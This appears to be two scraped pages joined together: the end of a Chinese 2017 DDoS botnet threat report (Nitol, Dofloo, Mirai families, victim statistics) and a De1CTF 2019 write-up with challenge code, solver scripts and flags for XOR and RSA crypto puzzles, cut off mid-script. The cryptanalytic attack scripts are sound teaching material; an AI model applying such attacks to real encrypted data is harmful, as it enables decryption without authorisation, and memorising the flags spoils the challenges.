SP3的主要用户群集中在事业单位办公环境和企业工控环境等疏于系统升级和维护的终端设备上，也就说明Nitol家族系列感染的设备系统主要是普通配置办公设备系统或者互联网工控设备系统，初步统计境内每天大约有260万台Windows环境设备受Nitol家族恶意代码感染。
5、Dofloo家族
Dofloo家族无论是从数据加密算法还是攻击模式或是木马平台兼容性，都算是一个比较成熟完善的家族。Dofloo家族使用了256位AES加密算法将攻击数据加密，可以有效确保数据通信的安全性。在攻击类型上，除了常见的SYN
flood、TCP flood、HTTP flood等，Dofloo家族还具备高放大倍数的DNS flood、NTP flood、ICMP
flood等反射攻击类型。在兼容平台上，其木马不仅能够兼容常见的Windows、Linux等两大类型平台，同时可以兼容ARM、MIPS、SIMPLE等物联网系统架构。因此，平台的兼容性为Dofloo家族的僵尸网络“肉鸡”基数放大不少；同时，还发现黑客通过CVE-2017-8225等漏洞的自动化利用工具，实现IP网段进行批量“抓取”200多万台存在漏洞的设备。庞大的“肉鸡群”加上高倍数的放大攻击使得Dofloo家族的攻击破坏力远胜于其他家族的僵尸网络。
图 26 Dofloo年度威胁情报时间分布
图27 Dofloo家族攻击方式分布统计
6、Mirai家族
Mirai家族出现于2016年上半年，由美国的Paras Jha（21岁）、Josiah White（20岁）和Dalton
Norman（21岁）开发并运营，据悉2016年10月24日的美国域名服务商Dyn被DDoS攻击等事件就是他们所为。同时，他们为了隐藏自身、避免被执法部门追查，决定在执行攻击前以他人身份将源代码在github上公布，致使Mirai源代码迅速扩散到全球各地的黑客手中，从而引发了Mirai家族的高频率变种。
历史总是惊人的相似，灰鸽子木马开源导致delphi木马变种泛滥，Gh0st木马开源导致VC开发远控变种占据国内木马半壁江山。Mirai开源也引起国内黑产团伙升级改造IoT类型僵尸网络。
图 28 Mirai年度威胁情报分布
图 29 Mirai家族攻击方式分布统计
由于Mirai的木马具备22、23端口弱口令爆破功能，可进行各种物联网设备的漏洞利用，使得每一次Mirai变种的出现，都会导致其“肉鸡”量以爆发式增长。初步统计，仅一年多的时间，Mirai家族涉及的漏洞扫描端口就有7547、5555、6767、37215
和52869等，涉及到的物联网设备厂商有Dahua、Huawei、D-Link、WIFICAM、Linksys、Avtech、Netgear、Vacron
、TP-Link等。而从2017年Mirai家族的攻击态势看，4月-9月期间攻击态势相对活跃，虽然下半年的Mirai家族变种比较频繁，但并未提升攻击态势。
##### 4.3 DDoS攻击方式
目前黑客发起DDoS攻击的方式主要有：SYN flood、TCP flood、DNS flood、C2 flood、UDP flood、HTTP
flood、ICMP flood。以上七种攻击方式涵盖了所有攻击方式的99.97%，下面列出了以上七种攻击方式在2017年12个月里的分布情况。
总体来看，黑客控制僵尸网络发起的DDoS攻击在前半年中较为活跃，占全年DDoS攻击的71.96%，而在后半年活跃趋势逐渐减弱，直到12月份，又出现上升趋势。SYN
flood攻击方式一直是黑客比较青睐的发起DDoS攻击的攻击方式，在全年所有的攻击方式中SYN
flood攻击方式占比最大，为91.56%。其在4月份和5月份中表现得格外活跃，在5月份，以SYN flood攻击方式发起的攻击高达1586万次。
图 30 全球SYN flood攻击方式分布情况
图31 全球TCP、DNS、C2、UDP、HTTP、ICMP flood攻击方式分布统计
#### 5 DDoS攻击情报信息
##### 5.1 全球范围受DDoS攻击情报统计
据统计，在2017年中，受到黑客DDoS攻击的国家共130个，主要分布在亚洲，占总比的85.97%；其次是北美洲，占总比的10.77%；欧洲占比2.99%；其他洲虽然占比较低，但都有被捕获的攻击数据。其中，中国成为了遭受DDoS攻击的重灾区，其被攻击总次数高达12200万次，占全球受攻击总数的84.79%，占整个亚洲地区受攻击总数的98.63%。
图32 受害者全球分布比例
##### 5.2 全国受攻击DDoS攻击地区情报统计
据统计数据分析显示，2017年，国内遭受DDoS攻击的受害者地区分布情况如下，其中浙江省是国内遭受DDoS攻击的重灾区，被攻击次数为3790多万，占全国被DDoS攻击总数的31.39%；山东省位居第二，被攻击次数为2920多万，占全国被DDoS攻击总数的24.21%。
图 33 受害者在全国各地区的分布统计
##### 5.3 攻击国内的DDoS攻击发起源情报分析
对2017年攻击国内的DDoS攻击情报进行统计分析，得到如下统计结果。其中，在美国的C2对我国国内发起的DDoS攻击总数为4600万次，在国内所遭受的所有DDoS攻击数中占比最大，为37.47%；其次，国内的C2对全国各地发起的DDoS攻击，占总比的27.77%；在法国的C2对我国国内发起的攻击，占总比的23.28%；在韩国的C2对我国国内发起的攻击占总比的10.17%。
图 34 攻击国内DDoS攻击的发起源统计
##### 5.4 受攻击行业类型
据不完全统计，黑客发起的DDoS攻击的受害行业分布如下：棋牌行业占比最高，为45.2%；游戏行业占比22.8%；学校科研占比11.5%；金融行业占比8.5%；行政单位占比5.5%；其他行业占比6.5%。
商家之间的恶意竞争或黑客的恶意勒索，是各行业遭受DDoS攻击的根本原因，游戏行业受到的影响尤为突出，在遭受DDoS攻击后，游戏公司的日损失可达数百万元人民币。
图 35 受害行业类型比例
#### 6 国内“肉鸡“情报
2017年12月29日，随机对不同家族的11个DDoS僵尸网络C2的“肉鸡”进行了抽样，获取了国内外“肉鸡”IP 33661个。
##### 6.1 国内DDoS僵尸网络“肉鸡”设备类型情报
通过捕获的“肉鸡”进行设备类型分析，以Windows、Linux和IoT设备作为分类范围，其中IoT设备类型的“肉鸡”最多，占比61.37%；其次是Linux设备类型的“肉鸡”，占比20.85%，Windows设备类型“肉鸡”仅占比17.78%。
IoT设备因其漏洞较多、漏洞修复周期较长，且易于入侵、控制，而成为黑客们喜欢“抓取”的“肉鸡”类型。在统计数据中，涉及的IoT设备厂商包括华为、中兴、H3C、大华等，其中442个“肉鸡”设备属于华为的IoT设备，240个属于中兴的IoT设备，1142个属于H3C的IoT设备。
对于Linux设备类型，攻击者多通过22、23端口进行弱口令爆破以实现对“肉鸡”的控制。而针对Windows设备类型的“肉鸡”，黑客多通过利用“永恒之蓝”漏洞结合各家族的病毒、木马，以实现对“肉鸡”的“抓取”。
图 36 国内DDoS僵尸网络“肉鸡”设备类型统计
##### 6.2 国内DDoS僵尸网络“肉鸡”分布地区情报
对获取到的33661个DDoS僵尸网络“肉鸡”IP进行分析定位发现，其中33555个“肉鸡”IP位于中国。对国内的“肉鸡”IP定位进行汇总分析，得出以下部分“肉鸡”在国内部分省份的分布情况。位于江苏和浙江的“肉鸡”IP较多，分别为5961个和5899个。从地理分布上看，“肉鸡”IP多位于沿海城市，我国的沿海城市从北到南依次为山东省、江苏省、浙江省、福建省和广东省，这五个省份的“肉鸡”数量均位列前十。
图 37 国内部分DDoS僵尸网络“肉鸡”分布情报统计
#### 7 总结
从1998年第一次真正意义上的DDoS攻击开始，其攻击带宽流量从10GB、90GB，逐渐扩大至300GB、400GB、800GB，如今已经以“T”级别来计算，DDoS攻击几乎在以飞跃式的速度增长着。受到影响的设备，从一开始的单个服务器、区域性的多个服务器，扩大到针对某行业的整个服务、甚至差点瘫痪欧洲的网络；受到影响的范围从个人、小范围网络，发展到商业之间的竞争、国家金融服务，甚至国家之间的政治、军事行动等等。
从DDoS攻击的发展历程，我们不难看出，在如今这个虚拟网络已经嵌入我们现实生活的社会里，DDoS攻击无疑是一个巨大的安全隐患。伴随着DDoS工具的廉价性、易获取性，以及各僵尸网络家族的快速增长，利用物联网设备组建僵尸网络发起攻击的现象日益严峻，与此同时，移动端的僵尸网络亦处于萌芽阶段，网络安全之路可谓任重道远。
#### 附录一 参考资料
[1]. 安天针对“魔鼬”木马DDoS事件分析报告
<http://www.antiy.com/response/weasel.html>
[2].僵尸网络团伙利用MIRAI开源代码改造升级攻击装备
<http://www.freebuf.com/articles/web/153689.html>
[3].<https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html>
* * * | 社区文章 |
# source + exp + wp
<https://github.com/De1ta-team/De1CTF2019>
> 广告一波:
>
> De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手，急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
# crypto
## Xorz
from itertools import *
from data import flag,plain
key=flag.strip("de1ctf{").strip("}")
assert(len(key)<38)
salt="WeAreDe1taTeam"
ki=cycle(key)
si=cycle(salt)
cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si)))[2:].zfill(2) for p in plain])
print cipher
# output:
# 49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c
#### exp
#coding:utf8
from itertools import cycle
c="49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c"
def getCipher(c):
codeintlist = []
codeintlist.extend(
(map(lambda i: int(c[i:i + 2], 16), range(0, len(c), 2))))
salt="WeAreDe1taTeam"
si=cycle(salt)
newcodeintlist = [ci ^ ord(next(si)) for ci in codeintlist]
return newcodeintlist
def getKeyPool(cipher, stepSet, plainSet, keySet):
''' 传入的密文串、明文字符集、密钥字符集、密钥长度范围均作为数字列表处理.形如[0x11,0x22,0x33]
返回一个字典，以可能的密钥长度为键，以对应的每一字节的密钥字符集构成的列表为值，密钥字符集为数字列表。
形如{
1:[[0x11]],
3:[
[0x11,0x33,0x46],
[0x22,0x58],
[0x33]
]
}
'''
keyPool = dict()
for step in stepSet:
maybe = [None] * step
for pos in xrange(step):
maybe[pos] = []
for k in keySet:
flag = 1
for c in cipher[pos::step]:
if c ^ k not in plainSet:
flag = 0
if flag:
maybe[pos].append(k)
for posPool in maybe:
if len(posPool) == 0:
maybe = []
break
if len(maybe) != 0:
keyPool[step] = maybe
return keyPool
def calCorrelation(cpool):
'''传入字典，形如{'e':2,'p':3}
返回可能性，0~1,值越大可能性越大
(correlation between the decrypted column letter frequencies and
the relative letter frequencies for normal English text)
'''
frequencies = {"e": 0.12702, "t": 0.09056, "a": 0.08167, "o": 0.07507, "i": 0.06966,
"n": 0.06749, "s": 0.06327, "h": 0.06094, "r": 0.05987, "d": 0.04253,
"l": 0.04025, "c": 0.02782, "u": 0.02758, "m": 0.02406, "w": 0.02360,
"f": 0.02228, "g": 0.02015, "y": 0.01974, "p": 0.01929, "b": 0.01492,
"v": 0.00978, "k": 0.00772, "j": 0.00153, "x": 0.00150, "q": 0.00095,
"z": 0.00074}
relative = 0.0
total = 0
fpool = 'etaoinshrdlcumwfgypbvkjxqz'
total = sum(cpool.values()) # 总和应包括字母和其他可见字符
for i in cpool.keys():
if i in fpool:
relative += frequencies[i] * cpool[i] / total
return relative
def analyseFrequency(cfreq):
key = []
for posFreq in cfreq:
mostRelative = 0
for keyChr in posFreq.keys():
r = calCorrelation(posFreq[keyChr])
if r > mostRelative:
mostRelative = r
keychar = keyChr
key.append(keychar)
return key
def getFrequency(cipher, keyPoolList):
''' 传入的密文作为数字列表处理
传入密钥的字符集应为列表，依次包含各字节字符集。
形如[[0x11,0x12],[0x22]]
返回字频列表，依次为各字节字符集中每一字符作为密钥组成部分时对应的明文字频
形如[{
0x11:{'a':2,'b':3},
0x12:{'e':6}
},
{
0x22:{'g':1}
}]
'''
freqList = []
keyLen = len(keyPoolList)
for i in xrange(keyLen):
posFreq = dict()
for k in keyPoolList[i]:
posFreq[k] = dict()
for c in cipher[i::keyLen]:
p = chr(k ^ c)
posFreq[k][p] = posFreq[k][p] + 1 if p in posFreq[k] else 1
freqList.append(posFreq)
return freqList
def vigenereDecrypt(cipher, key):
plain = ''
cur = 0
ll = len(key)
for c in cipher:
plain += chr(c ^ key[cur])
cur = (cur + 1) % ll
return plain
def main():
ps = []
ks = []
ss = []
ps.extend(xrange(32, 127))
ks.extend(xrange(0xff + 1))
ss.extend(xrange(38))
cipher = getCipher(c)
keyPool = getKeyPool(cipher=cipher, stepSet=ss, plainSet=ps, keySet=ks)
for i in keyPool:
freq = getFrequency(cipher, keyPool[i])
key = analyseFrequency(freq)
plain = vigenereDecrypt(cipher, key)
print plain,"\n"
print ''.join(map(chr,key))
if __name__ == '__main__':
main()
# output: Wvlc0m3tOjo1nu55un1ojOt3q0cl3W 修正后得到flag
# data文件实际内容：
# flag="de1ctf{W3lc0m3tOjo1nu55un1ojOt3m0cl3W}"
# plain="In faith I do not love thee with mine eyes,For they in thee a thousand errors note;But `tis my heart that loves what they despise,Who in despite of view is pleased to dote.Nor are mine ears with thy tongue`s tune delighted;Nor tender feeling to base touches prone,Nor taste, nor smell, desire to be invitedTo any sensual feast with thee alone.But my five wits, nor my five senses canDissuade one foolish heart from serving thee,Who leaves unswayed the likeness of a man,Thy proud heart`s slave and vassal wretch to be.Only my plague thus far I count my gain,That she that makes me sin awards me pain."
## Baby RSA
本题主要考察RSA的基础知识和常见攻击方式，涉及共模攻击、小指数攻击等。首先通过共模攻击等到p，再通过小指数攻击得到e1，e2，然后使用yafu分解大数得到q1且可解出没有任何用处的hint。然后是以flag为明文的加密，这里的加密不满足e和φ互素，因此虽然知道p，q，但无法直接解密，需要稍做操作。
import binascii
from data import e1,e2,p,q1p,q1q,hint,flag
n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L]
c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L]
f=lambda m,e,n,c:pow(m,e,n)==c
assert(sum(map(f,[p]*4,[4]*4,n,c))==4)
ee1 = 42
ee2 = 3
ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384
ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158
tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387
n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039
assert(pow(e1,ee1,n)==ce1)
assert(pow(e2+tmp,ee2,n)==ce2)
e = 46531
n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603
c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469
hint=int(binascii.hexlify(hint),16)
assert(q1p*q1q==n)
assert(q1p<q1q)
assert(c==pow(hint,e,n))
flag=int(binascii.hexlify(flag),16)
q1=q1p
q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513
c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124
c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596
assert(c1==pow(flag,e1,p*q1))
assert(c2==pow(flag,e2,p*q2))
#### exp
#coding:utf8
import binascii,gmpy2
# from data import e1,e2,p,q1p,q1q,hint,flag,q2
n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L]
c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L]
def CRT(mi, ai):
assert(reduce(gmpy2.gcd,mi)==1)
assert (isinstance(mi, list) and isinstance(ai, list))
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M / m) * gmpy2.invert(M / m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
p=gmpy2.iroot(CRT(n, c), 4)[0]
print "p = ",p
# ====================got p
ee1 = 42
ee2 = 3
ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384
ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158
tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387
n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039
for i in xrange(200000):
if gmpy2.iroot(ce1+n*i,42)[1]==1:
res=gmpy2.iroot(ce1+n*i,42)[0]
e1=res
break
for i in xrange(200000):
if gmpy2.iroot(ce2+n*i,3)[1]==1:
res=gmpy2.iroot(ce2+n*i,3)[0]
e2=res-tmp
break
print "e1 = ",e1
print "e2 = ",e2
# ====================got e1,e2
e = 46531
n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603
c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469
# yafu got q1p,q1q
q1p = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088835693
q1q = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088834871
if q1p>q1q:
q1p,q1q=q1q,q1p
# below is not necessary
phi=(q1p-1)*(q1q-1)
assert(gmpy2.gcd(e,phi)==1)
d=gmpy2.invert(e,phi)
hint=pow(c,d,n)
hint=binascii.unhexlify(hex(hint)[2:])
print "hint = ",hint
# ====================got q1p as q1
# flag=int(binascii.hexlify(flag),16)
q1=q1p
print "q1 = ",q1
q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513
